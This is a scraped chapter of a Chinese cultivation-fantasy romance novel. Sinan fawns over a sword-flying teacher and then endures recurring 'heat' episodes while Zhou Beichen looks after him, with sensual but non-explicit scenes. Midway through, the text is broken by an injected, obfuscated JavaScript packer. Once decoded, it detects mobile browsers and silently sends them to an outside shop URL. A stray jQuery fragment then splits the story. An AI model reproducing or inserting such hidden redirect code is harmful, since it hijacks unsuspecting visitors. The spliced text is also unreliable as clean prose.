这老者名为无上道人,修为已至金丹后期,在学宫教了百年,耍这套以气御剑不下数千下,就没一个像司南一样给与这么强烈的反馈的。
全场修士就听着司南一个人在那边喊:“啊!飞起来了!这就是真正的意到剑到啊。”
以及他一个人噼里啪啦的鼓掌声。
那无上道人第一次这么被捧场,以气御剑耍得也虎虎生威。先是空中旋转,然后骤然提升速度——不再是绕圈,而是空中飞舞。反正就是姿势也千奇百怪的,有很明显的表演意识。
剑在飞,无上道人的手却没有动。
就这样一个表演,一个捧着。
旁边的周北辰听到司南的“真情流露”,明显这人是把无上道人当偶像了,可明明之前自己才是他的偶像来着。
无上道人表演完,对底下的修士道:“以气御剑就到这里,你们开始练习吧。暂时做不到也没关系,慢慢来。”
说完,底下修士纷纷开始练习。
司南转头看周北辰,但看周北辰凝神专注,尝试着人剑合一。
刚才的无上道人是天生的剑修,且修为境界比周北辰要高,剑就是他的一部分。他走的是纯粹的路,一剑破万法,除了剑,什么都不需要。但周北辰不是,他还修炼体功法和御虫之术,不算纯剑修。两者走的路就不同,没有可比性,真的要打,周北辰也不一定会输。
里面的深奥,司南又怎么会知道,他只看到他哥用功用得很辛苦,还劝道:“哥,要不先歇歇,没关系,慢慢努力嘛,凡事不是一蹴而就的。”
周北辰:“………”
他在努力,司南就在旁边安慰他。
临结尾的时候,司南还鼓励着周北辰。周北辰因为没能完成,倒有几分郁闷。
下了课,两人正要离开,无上道人喊住他们。
司南顿变小迷弟,“道……道人!”
无人道人笑了笑,问周北辰,“这位是?”
周北辰:“我弟弟司南。”
“少年英才,原来这般慧眼如炬!”
周北辰:“………”
司南也跟着附和:“道人,你好厉害啊,他日成为剑仙指日可待!”
无上道人笑道:“借你吉言。你哥哥可是我们千山新人子弟的高手,说他是金丹之下第一人也不为过。”
周北辰:“道人过奖,但离您的境界还差得远。”
无人道人:“可你的剑阵厉害啊,你的天罡剑阵,就算我以神御剑也不是你的对手。”
中阶修士里,无上道人绝对可以排名第一,但饶是如此,他还是抑制不住地妒忌周北辰所学的天罡剑阵。就在百年前,某位千山大能飞升,传道仙缘,恰好选中了周北辰。由此,沈愿已经是周北辰第二任师父了。
司南听着这话,隐隐感觉出点不对劲。看来这学宫也是表面平静,暗地里也是风起云涌的。
双方分别后,司南便又凑到周北辰身边,“哥,我站你哦。”
周北辰笑:“又站我了?”
“当然了,你才是我的老板嘛。你努努力,一定很快就超过他。”
“想超过他,没那么容易,要不然他也不会做我的仙师了。”这无上道人来历颇为神秘,据说除了在千山,还在其他宗门有职务。
“那怎么才能超过他呢。”
周北辰耸肩,“机缘、机遇、悟性,缺一不可吧。”
他没和司南说的是,这些东西他应该都有,因为穿越过来的时候,就有一个系统告诉他,说他就是周云,本世界的主角,这是一个围绕他而展开的修真世界。起初他也不相信,但很快,他得到了仙缘,成为了天罡剑阵的继承人。他方才相信……
除了他,还有他的师弟王观,也是系统的拥有者。但王观的情况跟司南是一样的,有系统,但系统并未开启。他现在还摸不清这里面的复杂关系,所以他便没和司南说。
两人说着话,便从学宫出来,司南听了周北辰的话,琢磨着怎么帮助周北辰成为最强大佬。
回去天枢峰,司南就坐那写写画画,打算给周北辰量身打造一条升级之路。写着写着,感觉有些不舒服,便靠在床榻上,趴在那里。
这种感觉来得很是熟悉。
他发情了。
他抱着被子,手臂收紧,指节泛白。汗水沿着额角往下淌,浸湿了枕边一片,衣领贴在脖颈上,随着呼吸不断起伏。
镇灵玉没什么用,这几日,他的情况就明显加重了。
他不免地又想起周北辰的建议,想了想,又拼命摇头。倒不是觉得自己如何如何,只是这样的话,两人相处多尴尬啊。他是真心想把周北辰当兄弟的,还幻象着他日周北辰能罩着自己。
但现在问题越来越严重,又该如何是好呢。
他又不舒服,又思虑着。
想想依照他这种情况,哪个女人会看上他,不免又有些气馁。又想着就这样让周北辰帮忙算了,反正他修无情道,总比陈鹤轩这种人好,还能保护自己的屁股。
就这样想着,司南又蠢蠢欲动了。
他想着,就看周北辰走进来,他忙把被子盖自己头上。
希望这哥们没有看到。
但随着脚步的走近,他的被子被周北辰大力气地扯开。
“啊!哥——”他很想喊得硬气一点,但一点也不是。
周北辰听到这声近乎缠绵的声音,身体微微一怔,才问:“好点了没有?”
司南忍住扑上前的冲动,当初合欢宗宗主在养他的时候,就是按照男人喜好的兴趣去养的,换句话说,他的心理不接受,身体却不是。
尤其眼前是一个健壮英俊的帅气男人……无论是身材和长相,都是一绝。
“不太好……哥……你,……渡点真气给我吧。好难受啊。”
他忍不住去扒拉自己的衣服,露出一大片裸露的白皙的泛着点微粉肌肤。
周北辰的表情很淡,显得无动于衷,“没用的,这只会加重你的情况。”
司南显得有些万念俱灰,又在床榻上滚了一下,“那你快离开,我一个人熬一熬……哥……你先出去吧。”
周北辰看着司南这般难受,却还是不肯答应,也没有勉强,他站起来,冷漠道:“那你自己来吧。”
司南没回他,又把自己蒙起来,在床榻上滚来滚去。
周北辰只瞥了一眼,便离开了洞府,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17871967|212309||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一直等到晚上,才重新进入,看到司南已经穿戴完整,下了床。
显然是已经好了。
“哥,你来啦?”
周北辰嗯了一声,“这次又没事了?”
司南道:“没事啦,也没多久就过去了,就那一阵。”
周北辰听后,说不上自己的感受,竟有些失望。
“嗯。”
司南:“哥,你怎么了?”
周北辰抬头,“没怎么。——我今晚要修炼,你不必等我。”
司南怎么敢打扰大佬修行,“好!明白。”司南其实也知道自己的情况,他的发情时间间隔越来越近了。自从那天从学宫回来发情之后,三日后,再次发情,还是在那群灵兽面前。
当时,他正在喂养那几只灵兽。
出现症状后,司南忙转了过去,坐在石头前。他步履蹒跚地往洞府走,还未走到一半,就跪了下来,身上的冷汗渐下,一滴一滴地落下来。
他用尽了力气往洞府里走。
进去之后,进行……,一边这样,一边骂合欢宗宗主。
“臭乌龟,我不会放过你。”
“啊!!好难受!妈妈!好难受!”
只是这抹感觉迟迟无法消退,司南咬着唇,跪在冰冷的地上,又怕有人进来,又怕被人看见。
如果说从小到大,他真的受过什么苦,大概也只有这个了。
又如果说,他以前还没意识到修真界的残酷,也只有此刻,他突然意识到了。
他就像个行尸走肉,只求有人爱抚他。
后面怎么样,他一点也不知道。
他又晕过去了。
……
周北辰进屋就看到这个画面,司南躺在地上,金色的长发铺散在地上,他的身体微微蜷曲着,腰线凹得很深,像是一条蛇,瘦弱得过分,仿佛轻轻一捏就能触到脆弱的骨骼。一张小脸憔悴苍白,却是惊人的美丽。
他像一朵没被滋润的花,微微颤抖着。
美丽、脆弱、奄奄一息……
周北辰忙来到他身边,环抱起他,给他嘴里塞了一颗丹药,这是养体丹,能尽快休养生息,对于修士来说自然是个好物,但对于炉鼎就不一样了。
吃多了,只怕会损耗心神。
但眼下也没有其他办法,司南又无法使用灵气。
丹药融入之后,司南很快有了知觉。
他恢复了意识,缓慢地睁开眼,看到熟悉的人,他的睫毛微颤,眼眶微酸,眼角还有泪,宛如被风雨打过的蝴蝶,显得委屈又可怜。
周北辰抱着他,用低得不能再低的温柔声音问:“真的好了吗?”
司南轻轻点点头,“好,好多了。”他把脸埋在周北辰的胸口,轻轻地贴靠着,小心翼翼地蹭着。温热的强烈男性气息扑面而来,隐约叫他窒息,明知这样做不太对,但他就是克制不住自己。
“司南?”
司南从胸口探头出来,软软地回应,“嗯?”
“真的好点了吗?”他的语气温柔,就像亲生哥哥,至少司南是这样认为的。
“哥……我好难受。”他轻声道。
说完,眼角又流出一滴泪。